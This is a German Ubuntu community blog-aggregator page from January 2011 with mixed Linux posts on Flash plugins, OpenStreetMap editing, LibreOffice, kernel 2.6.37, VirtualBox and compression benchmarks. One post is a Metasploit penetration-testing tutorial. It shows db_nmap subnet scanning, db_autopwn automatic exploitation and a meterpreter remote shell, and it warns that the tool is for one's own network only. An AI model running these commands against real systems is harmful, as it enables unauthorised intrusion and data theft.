ubuntuusers.de

7. Januar 2011

Das der LinuxTag dieses Jahr bereits im Mai stattfindet, ist ja bereits seit dem vergangenen bekannt. Heut wurde dann auch zum Einreichen von Vorträgen aufgerufen. Erstaunlich ist die Deadline 25. Januar, sehr kurz.

Themen-Schwerpunkte sind E-Publishing, die Mobilplattformen Android und Meego sowie Serverkonsolidierung. Ebenfalls auf der LinuxTag-Agenda stehen klassische Tracks wie Kernelthemen und Netzwerke, die ein besonderes Augenmerk auf die bevorstehende Einführung von IPv6 richten sollen.  Weiter Themen können aber vorgeschlagen werden. Ausserdem soll Android einen starken Anteil annehmen.
Neu im Programm ist eine Vortragsreihe, bei der sich IT-Experten gezielt Neuerungen in wichtigen Softwarepaketen widmen. So erfahren Administratoren kompakt und direkt von den Chefentwicklern, welche Features neue Major-Releases bieten und wo sich ein Upgrade lohnen könnte.
Communitys haben ein großes Gewicht auf dem LinuxTag. Im neuen Track “Cross Desktop/Cross Distribution” präsentieren Entwickler Vorschläge, die nicht nur ein einzelnes Desktop Environment oder eine Linuxdistribution betrifft, sondern die die Zusammenarbeit mehrerer Projekte erfordert. Eine vollständige Liste aller vorgeschlagenen Themenschwerpunkte und der Rahmenbedingungen enthält der Call for Papers.

Linux, Laptops und Ubuntu: Chrome's Flash-Player in Firefox verwenden

Wenn ihr immer den neuesten Flash-Player für Linux auch in anderen Browserns verwenden wollt, könnt Ihr diesen kleinen Hack verwenden:

Optional:  Google Chrome installieren

Dank einer Kooperation zwischen Google und Adobe liefert Chrome den neuesten Flash Player für Ubuntu mit. Diese Version ist aktueller als die, die man von der Adobe Website runterladen kann.

Falls Ihr Google Chrome noch nicht installiert habt, müsst Ihr euch das deb-Paket für Google Chrome herunterladen und installieren.

Vorsicht ihr braucht wirklich Google Chrome, nicht den Chromium-Browser! Sonst ist der Flash-Player nicht dabei.

Chromium's Flash-Player mit Firefox verbinden

Startet ein Terminal und gebt den folgenden Code ein:

cd /usr/lib/firefox-addons/plugins
sudo ln -s /opt/google/chrome/libgcflashplayer.so ./

Standard Flash-Player deaktivieren

Falls Ihr schon einen älteren Flash-Player benutzt, müsst Ihr noch den standardmäßigen Flash-Player in Firefox und Opera ausschalten. 

Wenn alles geklappt hat, muss unter http://www.adobe.com/software/flash/about/ die aktuelle Flash-Player-Version mit der Version für den Google Chrome übereinstimmen (vgl. mit Bild oben)

The post Chrome’s Flash-Player in Firefox verwenden appeared first on Rockiger.

Manchmal hat man das Problem das man eine Überschrift auf- oder abstufen möchte (z.B. aus einer Überschrift 2 eine Überschrift 3 machen möchte) und dies sich auch auf alle Subüberschriften auswirken soll. Nun kann man natürlich alle Überschriften manuell ändern aber es geht auch einfacher. Dazu wählt man die entsprechende Überschrift aus und drückt zum Abstufen die Tab Taste bzw. zum Aufstufen die Umschalt + Tab Taste und schon werden alle Subüberschriften mitprozessiert.

Weitere Informationen gibt es unter:
http://wiki.services.openoffice.org/wiki/DE/Dokumentation/OOo_2.x/Handb%C3%BCcher/Writer-Handbuch/Tastenkombinationen_f%C3%BCr_Writer

Manchmal hat man das Problem das man eine Überschrift auf- oder abstufen möchte (z.B. aus einer Überschrift 2 eine Überschrift 3 machen möchte) und dies sich auch auf alle Subüberschriften auswirken soll. Nun kann man natürlich alle Überschriften manuell ändern aber es geht auch einfacher. Dazu wählt man die entsprechende Überschrift aus und drückt zum Abstufen die Tab Taste bzw. zum Aufstufen die Umschalt + Tab Taste und schon werden alle Subüberschriften mitprozessiert.

Weitere Informationen gibt es unter:
http://wiki.services.openoffice.org/wiki/DE/Dokumentation/OOo_2.x/Handb%C3%BCcher/Writer-Handbuch/Tastenkombinationen_f%C3%BCr_Writer


hax small Metasploit   Sicherheitsanalyse im Netzwerk hacken

Metasploit


“Das Metasploit-Projekt ist ein freies Open-Source-Projekt zur Computersicherheit, das Informationen über Sicherheitslücken bietet und bei Penetrationstests sowie der Entwicklung von IDS-Signaturen eingesetzt werden kann. Das bekannteste Teilprojekt ist das Metasploit Framework, ein Werkzeug zur Entwicklung und Ausführung von Exploits gegen verteilte Zielrechner. Andere wichtige Teilprojekte sind das Shellcode-Archiv und Forschung im Bereich der IT-Sicherheit.

Wie vergleichbare kommerzielle Lösungen wie CANVAS (von Immunity) oder Core Impact (von Core Security Technology), kann Metasploit von Administratoren eingesetzt werden, um die Schwachstellen von Computersystemen zu prüfen und diese bei Bedarf zu schließen. Andererseits kann es auch missbraucht werden, um in andere Systeme einzubrechen. Während der beschriebene Einsatz durch einen Administrator in seinem eigenen Netzwerk nicht nur legitim, sondern auch legal ist, erfüllt ein Einsatz ohne ausdrückliche Erlaubnis bei Fremdsystemen Tatbestände der Computerkriminalität.” – Wiki


Achtung
Ausdrücklich möchte ich noch einmal darauf hinweisen, dass man dieses Programm nur zur Analyse des eigenen Netzwerkes nutzen darf!


hackingprocess 300x267 Metasploit   Sicherheitsanalyse im Netzwerk hacken

hackingprocess


Als erstes müssen wir einige Dinge nachinstallieren um “unser eigenes” Netzwerk bzw. die Rechner in diesem auf Exploits zu prüfen und spätestens jetzt bemerkt man, dass ein Patch-Day im Monat ggf. nicht ausreicht, sobald man auf eine globale Exploit-Datenbank zurückgreifen kann icon wink Metasploit   Sicherheitsanalyse im Netzwerk hacken

aptitude install ruby postgres libruby rdoc libyaml-ruby libzlib-ruby libopenssl-ruby libdl-ruby  libreadline-ruby libiconv-ruby libgtk2-ruby libglade2-ruby rubygems libpq-dev libreadline-dev libssl-dev libpq5 ruby-dev
sudo gem install pg


Optional: falls du später Probleme hast, dich mir postgres-SQL zu verbinden
vim /etc/postgresql/8.3/main/postgresql.conf
#ssl = true
sudo /etc/init.d/postgresql restart


… und müssen eine Datenbank-User / Datenbank anlegen.
sudo -s
su postgres
createuser msf_user -P
Enter password for new role: *******
Enter it again: *******
Shall the new role be a superuser? (y/n) n
Shall the new role be allowed to create databases? (y/n) n
Shall the new role be allowed to create more new roles? (y/n) n
createdb --owner=msf_user msf_database


Optional: weitere Infos zu Postgres + Metasploit
www.metasploit.com/redmine/projects/framework/wiki/Postgres_setup


Optional: ggf. nach einer neuen Version schauen…
www.metasploit.com/framework/download/


32-Bit:
wget http://www.metasploit.com/releases/framework-3.5.1-linux-i686.run
64-Bit:
wget http://www.metasploit.com/releases/framework-3.5.1-linux-x86_64.run


sudo sh ./framework-3.5.1*
sudo rm -rf /opt/metasploit3/msf3/
sudo svn checkout https://www.metasploit.com/svn/framework3/trunk /opt/metasploit3/msf3/


Optional: für zukünftige Updates
sudo svn update /opt/metasploit3/msf3/


Nun noch schnell das einen Link anlegen …
sudo ln -sf /opt/metasploit3/msf3/msf* /usr/local/bin/


… und verhindern, dass PostgreSQL immer automatisch startet.
update-rc.d -f postgresql remove


Optional: ggf. falls der PC in der Zwischenzeit neu-gestartet wurde, starten wir nun PostgreSQL…


sudo /etc/init.d/postgresql start
… führen eben noch ein Update von Metasploit durch und startet diese anschließend …
sudo msfupdate
sudo msfconsole
*abwarten, kann einen Augenblick dauern*


metasploit 300x175 Metasploit   Sicherheitsanalyse im Netzwerk hacken

metasploit


msf > db_driver postgresql
msf > db_connect msf_user:[password]@127.0.0.1:5432/msf_database
msf > db_workspace -a meinProjekt
msf > db_nmap 192.168.50.0/24
msf > db_hosts
msf > db_services
msf > db_autopwn -t -p -e
msf > session -i 1
meterpreter >
Wir befinden uns nun in einer Shell auf dem Remote-PC und können verschiedene Befehle ausführen z.B.:
ipconfig
execute
shell
download
upload 
… genauer will ich auf die Shell auch nicht eingehen, denn weitere Infos findet man z.B. hier:
-> http://www.offensive-security.com/metasploit-unleashed/


fastandeasyhacking 300x166 Metasploit   Sicherheitsanalyse im Netzwerk hacken

fastandeasyhacking


Wenn man gerne nun noch eine hübsche grafische Oberfläche hätte, kann man sich diese GUI installieren oder “msfgui” ausprobieren. :-) Um die neue Metasploit-GUI zu nutzen müssen wir jedoch als erstes Java installieren…
sudo add-apt-repository "deb http://archive.canonical.com/ lucid partner"
sudo apt-get update
sudo apt-get install sun-java6-jdk
Ggf. noch einmal nach einer neue Version auf der Webseite schauen – www.fastandeasyhacking.com
Optional: ggf. falls der PC in der Zwischenzeit neu-gestartet wurde, starten wir nun PostgreSQL…
sudo /etc/init.d/postgresql start
sudo msfconsole
*abwarten, kann einen Augenblick dauern*
msf > load xmlrpc
… nun steht in der Konsole ein Passwort (+User), welches gleich in der GUI eingegeben werden muss, also neue Konsole öffnen und anschließend die neue GUI herunterladen.
cd ~/Desktop/
wget http://www.fastandeasyhacking.com/download/armitage122210.tgz
tar xzvf armitage122210.tgz
cd armitage/
./armitage.sh
Nachdem die Software gestartet wurde, müssen wir noch schnell das soeben beschriebene Passwort (+User) und noch den Befehl zum Verbinden mit der Datenbank eintragen …
… anschließend können wir das Netzwerk scannen und ggf. Sicherheitslücken entdecken …


Armitage start 300x175 Metasploit   Sicherheitsanalyse im Netzwerk hacken

Armitage_start


Menü:
Hosts -> Clear Hosts
Hosts -> Nmap Scan -> Quick Scan (OS detect)
Services 300x175 Metasploit   Sicherheitsanalyse im Netzwerk hacken
Services


Hack Auswahl 300x175 Metasploit   Sicherheitsanalyse im Netzwerk hacken

Auswahl


… genauer will ich auf die GUI auch nicht eingehen, denn weitere Infos findet man z.B. hier:
-> http://www.fastandeasyhacking.com/manual

Wonach wurde gesucht?

Ähnliche Blog-Einträge

6. Januar 2011

Kurz nach meinem ausführlichen Benchmark der Kompressions­algorithmen 7z, bzip2, gzip und ZIP fand ich das Lempel-Ziv-Oberhumer-Verfahren (LZO). Es bekam mit dem gerade veröffentlichten Kernel 2.6.37 eine neue Rolle. Dank der überaus großen (De-)Kompressionsgeschwindigkeit komprimiert es nun den Arbeits­speicher­inhalt, wenn dieser beim Hibernate („Ruhezustand“) auf die Festplatte geschrieben wird. Das Ziel ist es, weniger Schreiboperationen zu erzeugen und somit das Schlafenlegen und Aufwachen zu beschleunigen.
Grund genug, diesen vielversprechenden Algorithmus auf meine Testdaten loszulassen!

Das nenne ich schnell!

Da die Testkonfiguration im letzten Artikel bereits ausreichend beschrieben ist, kommen wir gleich zum Ergebnis: Die gesamten 279,4 Megabyte waren in gerade einmal 5 Sekunden gepackt! Das ist etwa dreimal so schnell wie der bisherige Geschwindigkeitssieger gzip.

Und die Kompressionsrate?

Bei diesem Tempo kann man sich schon denken, dass die Kompressionsrate dementsprechend mager ausfallen muss. 85 Megabyte bleiben übrig, was eine Rate von ca. 3,3 ergibt. Trotzdem schneidet LZO in dieser Kategorie kaum schlechter ab als ZIP, welches siebenmal länger für den Datensatz benötigt.

Fazit

Im Fazit ist LZO also immer dann zu empfehlen, wenn Daten besonders schnell ge- und wieder entpackt werden müssen.

Meine Geschwindigkeitsempfehlung lautet schließlich LZO.

Wermutstropfen

Leider gilt auch bei LZO, wie schon beim Sieger 7z in der anderen Kategorie, dass der Algorithmus standardmäßig in Ubuntu nachinstalliert werden muss (Paket lzop) und damit nur bedingt für die Weitergabe an andere geeignet ist. Aber dafür ist dieses Verfahren wohl eh nicht gedacht.

10 gesamt, 9 kostenlos (90%), 1 bezahlt (10%), 12MB total size, $3.99 total priceView this Android app list on AppBrain

Ich war nicht mutig genug, die AppBrain-Applikation auf dem Handy zu installieren, da ihr das Recht hätte eingeräumt werden sollen, Installationen durchzuführen und das war mir dann doch zu viel. Aber es ist möglich die Applikationen online in einer Webanwendung zu sammeln.

K-9 Mail ist eine hervorragende und sehr schnelle Mailanwendung.

HotspotConnect wird für den WLAN-Internet-Zugang zu iPass-fähigen Hotspots verwendet (meine Arbeitgeberin hat dafür eine weltweite Lizenz).

Piwik Mobile zeigt Piwik-Auswertungen aufbereitet auf dem Handy.

ConnectBot ist ein hervorragender SSH-Client (inklusive Tunneling).

ZVV Fahrplan, der obligatorische Fahrplan inklusive Online-Abfrage für den Zürcher Verkehrs Verbund.

Facebook for Android, tja ...

FRITZ!App Fon, erlaubt es über das WLAN der Fritz!Box Festnetz-Telefonate zu führen und Anruflisten einzusehen.

Dropbox, ein Dropbox-Client für Android.

KeePassDroid, KeePass für Android. Damit ist das tatsächliche eine der Anwendungen, die zu den plattformunabhängisgsten überhaupt gehört.

TWIDROYD PRO for Twitter, ein Twitter- und identi.ca-Client, der beides in der gleichen Timeline darstellen kann.

Was sind Eure Lieblingsanwendungen?
Bei OpenStreetMap handelt es sich um eine freie Karte der Welt welche ständig verbessert wird. Dabei kann man auch selber Hand anlegen. Dazu benötigt man die Anwendung Merkaartor welche über den Paketmanager installiert werden kann. Um Karten zu erstellen oder zu verbessern gibt es zwei Möglichkeiten. Die erste Möglichkeit ist es einen GPS Track aufzuzeichnen und diesen als Grundlage für die Erstellung der Karte zu benutzen. Die zweite Möglichkeit ist es Luftbilder zu benutzen z.B. das von Bing bereitgestellte Material und dies abzuzeichnen. Da in den Repositories von Ubuntu nur die Version 0.16 verfügbar ist (und Bing erst ab 0.17 unterstützt wird) sollte das PPA
ppa:marcusls/maverick
zur Installation benutzt werden.

Nach dem Start von Merkaartor finden wir links in der Layers Ansicht einen Punkt Map. Dort drücken wir die rechte Maustaste und wählen unter Plugins den Punkt Bing Maps aus. Nun zoomen wir auf den entsprechenden Bereich in der Karte welchen wir mappen wollen. Wer den gewünschten Platz auf Anhieb nicht findet kann einen neuen Map Layer anlegen welcher TMS -> OSM Mapnik benutzt, so das man die OpenStreetMap Karte sieht und sich so besser orientieren kann.

Hat man den entsprechenden Bereich gefunden kann man sich die passenden OSM Daten dazu herunterladen. Dazu drückt man auf den Button Download und wählt dort Current View aus. Nun kann man in diesen Daten mappen, so kann man bestehende Punkte anfassen und verschieben oder z.B. Häuser kartieren. Dazu wählt man das Area Werkzeug aus und markiert legt damit die Punkte rund um das Haus an. Anschließend fügt man zu den Tags den Wert Schlüssel building sowie den Wert yes hinzu.

Um das ganze nun auch der offiziellen Karte hinzuzufügen, geht man in das Menü File und wählt dort den Punkt Upload aus. Hier kann es nötig sein seine OSM Accountdaten anzugeben, bzw. sich einen entsprechenden Account anzulegen. Fertig ist das erste gemappte Gebäude.

Wem der Merkaartor zu kompliziert ist der kann auch den auf der offiziellen Seite eingebauten Editor Podlatch 2 benutzen, dieser ist wirklich sehr einfach gestaltet und kann so auch von Einsteigern benutzt werden :-)

Weitere Informationen gibt es unter:
http://merkaartor.be/
http://www.openstreetmap.org
https://launchpad.net/~marcusls/+archive/maverick
http://wiki.ubuntuusers.de/OpenStreetMap/Programme#Merkaartor

Bei OpenStreetMap handelt es sich um eine freie Karte der Welt welche ständig verbessert wird. Dabei kann man auch selber Hand anlegen. Dazu benötigt man die Anwendung Merkaartor welche über den Paketmanager installiert werden kann. Um Karten zu erstellen oder zu verbessern gibt es zwei Möglichkeiten. Die erste Möglichkeit ist es einen GPS Track aufzuzeichnen und diesen als Grundlage für die Erstellung der Karte zu benutzen. Die zweite Möglichkeit ist es Luftbilder zu benutzen z.B. das von Bing bereitgestellte Material und dies abzuzeichnen. Da in den Repositories von Ubuntu nur die Version 0.16 verfügbar ist (und Bing erst ab 0.17 unterstützt wird) sollte das PPA

ppa:marcusls/maverick 

zur Installation benutzt werden.

Nach dem Start von Merkaartor finden wir links in der Layers Ansicht einen Punkt Map. Dort drücken wir die rechte Maustaste und wählen unter Plugins den Punkt Bing Maps aus. Nun zoomen wir auf den entsprechenden Bereich in der Karte welchen wir mappen wollen. Wer den gewünschten Platz auf Anhieb nicht findet kann einen neuen Map Layer anlegen welcher TMS -> OSM Mapnik benutzt, so das man die OpenStreetMap Karte sieht und sich so besser orientieren kann.

Hat man den entsprechenden Bereich gefunden kann man sich die passenden OSM Daten dazu herunterladen. Dazu drückt man auf den Button Download und wählt dort Current View aus. Nun kann man in diesen Daten mappen, so kann man bestehende Punkte anfassen und verschieben oder z.B. Häuser kartieren. Dazu wählt man das Area Werkzeug aus und markiert legt damit die Punkte rund um das Haus an. Anschließend fügt man zu den Tags den Wert Schlüssel building sowie den Wert yes hinzu.

Um das ganze nun auch der offiziellen Karte hinzuzufügen, geht man in das Menü File und wählt dort den Punkt Upload aus. Hier kann es nötig sein seine OSM Accountdaten anzugeben, bzw. sich einen entsprechenden Account anzulegen. Fertig ist das erste gemappte Gebäude.

Wem der Merkaartor zu kompliziert ist der kann auch den auf der offiziellen Seite eingebauten Editor Podlatch 2 benutzen, dieser ist wirklich sehr einfach gestaltet und kann so auch von Einsteigern benutzt werden :)

Weitere Informationen gibt es unter:
http://merkaartor.be/
http://www.openstreetmap.org
https://launchpad.net/~marcusls/+archive/maverick
http://wiki.openstreetmap.org/wiki/DE:Map_Features
http://wiki.ubuntuusers.de/OpenStreetMap/Programme#Merkaartor

Die Linux-Distribution Ubuntu wird in der nächsten Version 11.04 (“Natty Narwhal”) LibreOffice anstatt OpenOffice.org als vorinstalliertes Office-Paket enthalten.

Ein grosser Teil der OpenOffice.org-Entwickler hatten sich im Oktober 2010 von Oracle abgespalten und ein neues Projekt mit dem Namen LibreOffice gegründet. LibreOffice basiert auf dem Quellcode von OpenOffice.org und wird mithilfe der unabhängigen Stiftung Document Foundation und mehreren Unternehmen weiterentwickelt.

LibreOffice Logo

Andere bekannte Linux-Distributionen wie Fedora und openSUSE werden diesen Schritt von Oracle’s OpenOffice.org weg zum LibreOffice-Projekt in zukünftigen Versionen ebenfalls vollziehen.

Die Document Foundation veröffentlichte Ende des letzten Jahres den zweiten Release-Kandidaten von LibreOffice 3.3. Für alle diejenigen, die LibreOffice einmal ausprobieren möchten, steht der zweite Release Candidate auf der Seite des Projekts zum Download bereit.

Die LibreOffice-Entwickler weisen jedoch ausdrücklich darauf hin, dass es sich hierbei noch um eine Testversion handelt und die Büro-Suite deshalb noch nicht für den produktiven Einsatz verwendet werden sollte.

5. Januar 2011

Nur 77 Tage liegen zwischen 2.6.36 und 2.6.37. Der Entwicklungszyklus war geprägt von den Versuchen, alte Probleme zu beheben und davon, dass diese sich teilweise erfolgreich behaupten konnten. Einige Änderungen wurden während der Entwicklungsphase zurückgenommen, da durch sie hervorgerufene Probleme anders nicht behoben werden konnten.

Linux Kernel 2.6.37, Darstellung mit gitgDarunter fielen zum Beispiel die PCI-Treiber und aktuell der Intel-Treiber i915, dem man seit -rc7 erfolglos versucht ein Blank-Screen-Problem (Schwarzer Bildschirn) auszutreiben. Die Suche nach den Ursachen für ein Problem des Netzwerkdateisystems NFS, bei dem eine Endlosschleife in der Funktion zum Lesen eines Verzeichnisinhaltes auftritt, geht unterdessen weiter.

Tolle neue Funktionen hat der neue Kernel nicht zu bieten, es wurde stattdessen einiges an bestehenden Treibern, Dateisystemen und an den Grundlagen getan. Der mit stetig sinkender Popularität geschlagene Big Kernel Lock wurde mittlerweile in den meisten Bereichen durch andere Locking-Mechanismen ersetzt. Beim Kompilieren eines Kernels auf die BKL-Unterstützung zu verzichten dürfte trotzdem noch bei vielen Systemen zu Problemen führen, da sie von einigen Treibern noch vorausgesetzt wird. Aber BKL befindet sich auf dem absteigenden Ast und das Ende ist allmählich absehbar.

Auf der Dateisystemseite wurde das Erstellen von Ext4-Partitionen beschleunigt, indem die Inodes nicht beim Erstellen sondern erst beim ersten Einhängen in der Inode-Tabelle zugewiesen werden. Eine Verbesserung der Leistung verspricht eine Änderung, die Ext4 nun direkt mit dem Block-Layer zusammenarbeiten lässt. Der bislang genutzte Buffer-Layer bereitet Probleme sowohl in der Performance als auch der Skalierbarkeit. Apropos Skalierbarkeit: Diese wurde bei XFS verbessert, als kleiner Vorgeschmack auf weitere Änderungen, die mit 2.6.38 nachgeliefert werden sollen. Mittels RBD (Rados Block Device) lassen sich nun blockorientierte Geräte in das System einhängen, die ihre Daten in dem verteilen Netzwerk-Dateisystem Ceph ablegen, bislang stand hier nur ein auf FUSE (File System in Userspace) basierender Client zur Verfügung. Btrfs kann nun eine Liste mit freien Bereichen auf dem Datenträger speichern, wenn welche freigegeben werden. Dies macht damit die Suche danach bei der Zuweisung neuer Blöcke oftmals unnötig. Neben der Möglichkeit Schnappschüsse des Dateisystems asynchron (es wird nicht gewartet, bis noch durchzuführende Schreibtätigkeiten abgeschlossen sind) durchzuführen, kann btrfs nun auch das Löschen untergeordneter Volumes durch nichtprivilegierte User erlauben. Ein Wechsel des Locking-Mechanismus soll eine allgemeine Verbesserung der Leistung bewirken, während dies die Möglichkeit, Daten und Metadaten zusammen in einer Gruppe von Blöcken zu speichern speziell für kleine Datenträger erlaubt.

Geht ein System in den Ruhezustand (Hibernate), so kann das Abbild nun mittels LZO komprimiert werden, um den Vorgang zu beschleunigen. Möchte ein Treiber, dass das von ihm kontrollierte Gerät nicht sofort Schlafen geschickt wird, sobald es nichts mehr zu tun hat, so ist dies ab 2.6.37 nun möglich. Diese Geräte nönnen nun für eine Weile inaktiv gesetzt werden, bevor Sie in Suspend wechseln.

Sehr viel hat sich auch diesmal wieder im Bereich der Treiber getan, einige kamen hinzu, viele wurden überarbeitet. Eine vollständige Liste bietet hier die Treiber-Seite für 2.6.37 auf Kernelnewbies.org. Ein paar interessante Themen sind in den Beiträgen zu den einzelnen Vorabversionen zu finden:


Ratespiel
Das Ratespiel zum 2.6.37 ist beendet. Der Commit trägt den folgenden Zeitstempel: Wed, 5 Jan 2011 00:50:19 +0000 (16:50 -0800)

  • Mi, 05.01.2011 00:50:19 UTC
  • Mi, 05.01.2011 01:50:19 CET
  • Di, 04.01.2011 16:50:19 PST

Die Zahl der Teilnehmer war überschaubar. Die Ergebnisse sind in der folgenden Tabelle aufgeführt:

Name Tip Abweichung
DonKrawallo 03.01.2011 12:00:00 UTC 36h 50min 19s
80486er 10.01.2011, 12:00:00 UTC 131h 9min 41s
ikke 07.01.2011 13:37:42 PST
07.01.2011 21:37:42 UTC
68h 47min 23s
haeckle 04.01.2011 15:12:25 PST
04.01.2011 23:12:25 UTC
1h 37min 54s

Damit weist haeckle's Tip die geringste Abweichung auf und er/sie darf sich über eine CD von The Nuri's aktuellem Album „Masquerade“ freuen.

Quelle: Linux Kernel Mailing List, Kernel Newbies

 

Hallo alle,

Frohes Neues Jahr wünsche ich euch allen!!!

Seit meiner letzten Einführung habe ich einige Rückmeldungen bekommen, dass das Beispiel nur Stille aufzeichnet. Damit die Antwort unter den vielen Kommentaren nicht verloren geht, poste ich es hier. Nun der Grund dafür ist, dass die Quelle  stummgeschaltet ist.

Wie auch vorher muss man zuerst den Monitor finden:

pactl list | grep Name | grep monitor 
   Name: alsa_output.pci-0000_00_1b.0.analog-stereo.monitor
   Name: combined.monitor
und es laut schalten:
pactl set-source-mute alsa_output.pci-0000_00_1b.0.analog-stereo.monitor 0
Man kann dafür auch "pavucontrol" nutzen.  Danach, so wie vorher:
gst-launch adder name=mix ! audioconvert ! vorbisenc ! oggmux ! filesink location=out.ogg
pulsesrc device=alsa_output.pci-0000_00_1b.0.analog-stereo.monitor ! queue ! mix. 
pulsesrc ! queue ! mix.

Virtualbox 4.0 ist ja schon seit ein paar Tagen veröffentlicht. Ich hatte bereits eine 4.0 beta installiert und wunderte mich doch so langsam, warum da kein Update auf die finale Version bei mir kommt. Heute habe ich dann mal auf der Downloadseite nachgesehen und festgestellt, dass das Repository mit der Version 4.0 verändert wurde.

Auf den ersten Blick sieht man das nicht unbedingt, ich musste da schon ein bisschen genauer hinsehen. Virtualbox ist aus non-free nach contrib umgezogen. Die Einträge in der Sources.list müssen daher folgendermaßen geändert werden:

#Virtualbox
# wget -q http://download.virtualbox.org/virtualbox/debian/oracle_vbox.asc -O- | sudo apt-key add -
deb http://download.virtualbox.org/virtualbox/debian maverick contrib

Je nach verwendeter Ubuntu/Debian-Version muss das maverick natürlich auch angepasst werden. Alle Paketquellen findet man hier im Überblick.

Das VirtualBox 4.0 Oracle VM VirtualBox Extension Pack kann man hier herunterladen. Installiert wird dieses bei geöffnetem Virtualbox Über das Menü Datei > Globale Einstellungen im Reiter Zusatzpakete.

Nach dem Update von Kubuntu auf die 10.10er Version hatte ich das Problem das das WLAN auf meinem Netbook sich nicht mehr automatisch mit dem Router verband. Dies musste nun immer manuell gemacht werden. Damit das ganze wieder automatisch funktioniert muss man in die Systemeinstellungen gehen und dort die Netzwerkeinstellungen wählen. Dort wählt man unter Drahtlos die entsprechende Verbindung und klickt auf Bearbeiten. Nun muss man nur noch den Haken bei Automatisch verbinden setzen und schon funktioniert alles wieder wie gewohnt :-)

Nach dem Update von Kubuntu auf die 10.10er Version hatte ich das Problem das das WLAN auf meinem Netbook sich nicht mehr automatisch mit dem Router verband. Dies musste nun immer manuell gemacht werden. Damit das ganze wieder automatisch funktioniert muss man in die Systemeinstellungen gehen und dort die Netzwerkeinstellungen wählen. Dort wählt man unter Drahtlos die entsprechende Verbindung und klickt auf Bearbeiten. Nun muss man nur noch den Haken bei Automatisch verbinden setzen und schon funktioniert alles wieder wie gewohnt :)

Möchte man Websiten nicht immer ausdrucken, aber trotzdem den Inhalt ohne Copy&Paste sicher speichern, so helfen einfache Methoden Websiten in einer PDF – Datei zu speichern. Ich werde nun drei verschiedene Möglichkeiten zeigen wie Ihr aus einer Website ein PDF erstellt.

1. Möglichkeit – wkhtmltopdf

Hier kommt  wkhtmltopdf zum Einsatz. Das Tool läuft komplett im Terminal und ist recht einfach zu Bedienen.

wkhtmltopdf befindet sich in den Paketquellen von ubuntu und wird über den folgenden Befehl über ein Terminal installiert.

sudo apt-get install wkhtmltopdf

Soll nun eine Site einer Website als PDF gespeichert werden, so wird ein Terminal gestartet und nun wkhtmltoppdf mit der dahinter stehenden URL der gewünschten Website und dem Ort unter dem das PDF gespeichert werden soll ausgeführt.

Beispiel:

wkhtmltopdf http://planet.ubuntuusers.de ~/esDokumente/uuplanet.pdf

Hilfe zu der Anwendung: wkhtmltopdf --help

–> Ein mit wkhtmltopdf generiertes PDF könnt Ihr Euch als Beispiel hier anschauen.

2. Möglichkeit – In Datei drucken

Dazu wird z.B. im Firefox die Tastenkombination Ctrl+P gedrückt ( Im Menü: Datei -> Drucken ).

Dann wird auf “In Datei drucken” angeklickt. Als Ausgabeformat wird Postscript ausgewählt. Dabei kann auf der linken Seite noch der Name des zu erstellenden PDF sowie der Speicherort angegeben werden. Jetzt wird in den Menütab “Optionen” gewechselt. Dort wird in dem Abschnitt “Hintergrund Drucken”, Hintergrundfarbe drucken und Hintergrundbilder drucken ausgewählt. Alle Einstellungen sind getroffen und das PDF bzw. Postscipt kann nun über den Button “Drucken” erzeugt werden.

3. Möglichkeit – Firefox Erweiterung (Addon)

Die Firefox-Erweiterung Web2PDF Converter erstellt PDF Dateien schnell und zuverlässlich. Dabei wird nach der Installation des Addons auf das Icon auf der rechten Seite des Firefoxmenüs geklickt und Web2PDF Convert beginnt das PDf der Seite auf der man sich derzeit befindet zu erstellen.

Hinweis: Möchte man das Addon nicht installieren so kann auf der Website des Plugins ebenfalls ein PDF von Websiten erstellt werden.

Das klassische ZIP? Oder lieber tar-gepackt in Kombination mit bzip2 oder gzip? Oder doch lieber modern mit 7zip? Diese Frage stellte ich mir jedes Mal, wenn ich Nautilus’ Kontextmenü-Eintrag zum Komprimieren von Daten nutzte. Warum also nicht ein pseudo-wissenschaftlicher, empirischer Test?

Welche Formate testen wir?

Dieser Vergleichstest soll weder eine detaillierte Studie werden noch soll sie möglichst viele Kompressionsalgorithmen testen. Ich habe mich bei meiner Auswahl dazu entschlossen nur eine Hand voll Komprimierungsverfahren zu prüfen und auch nur diejenigen, die bei der Ubuntu-Standardinstallation dabei sind. Eine Ausnahme bildet 7zip. Da seine Kompressionsstärke überall gefeiert wird und eine Nachinstallation in Ubuntu kinderleicht ist (empfohlenes Paket: p7zip-full), hat es dieser Algorithmus auch in die Auswahl geschafft. Es treten also gegeneinander an:

  • 7z 9.04 beta
  • bzip2 1.05
  • gzip 1.3.12
  • ZIP 3.0

Ich denke, die Begründung für bzip2 und gzip sind einleuchtend; es gibt kaum andere Formate, die in der Unix-Welt häufiger vorkommen. ZIP hingegen wird von vielen als Quasi-Standard angesehen – Wir überprüfen, ob diese Annahme berechtigt ist.
Man könnte sich nun fragen, warum nicht mehr Formate aufgenommen wurden. Nun, mir war wichtig, gängige Algorithmen zu nehmen und nicht exotische, die auf den meisten Systemen Probleme verursachen. Meiner Meinung nach ist bei komprimierten Daten wichtig, dass sie fast so leicht wie nicht-komprimierte zu handhaben sind. Die Mühe lohnt häufig nicht, wenn die Zeit-/Volumenersparnis beim Empfänger des Archivs durch eine nötige Nachinstallation zunichte gemacht wird.

Welche Einstellungen?

Ähnlich sieht die Begründung für die vorgenommenen Einstellungen aus. Ich verwende für alle Tools die Standardeinstellungen. Das sind auch genau die, die das Ubuntu-Programm file-roller anwendet. Das hat den Vorteil, dass nur ein Rechtsklick auf die Datei(en) und einer auf Komprimieren… notwendig ist, um ein verkleinertes Archiv zu erhalten. Ich vermute, dass das die häufigste Variante des Komprimierens bei Ubuntu-Nutzern ist.
Um es einmal deutlich zu sagen: Es geht nicht darum, für jedes Verfahren die optimalen Optionen zu verwenden und diese dann miteinander zu vergleichen. Ich behaupte, dass die Standardeinstellungen schon hinreichend vernünftig sind und dass sich vor allem der Normalbenutzer selten die Mühe macht, die passende Konfiguration zu suchen, sondern eben die vorgegebenen Werte nimmt. Natürlich bleibt es weiterhin jedem selbst überlassen, sein Lieblingstool so zu verwenden, wie es ihm/ihr behagt.

Welche Daten?

Als zu komprimierenden Datensatz habe ich mich für ein Quellcode-Paket von Firefox entschieden. Dieses Paket enthält neben Bildern vor allem ASCII-Dateien, mit denen sich die Algorithmen austoben können, um ihre Stärken und Schwächen offenzulegen. Außerdem halte ich diese Daten auch für alltagstauglich. Das belegen auch einige anschließenden Nachtests, die ähnliche Ergebnisse lieferten wie mit diesem Paket. Direkt zu beziehen ist die Datei von dem Mozilla-FTP-Server.

Die Testumgebung

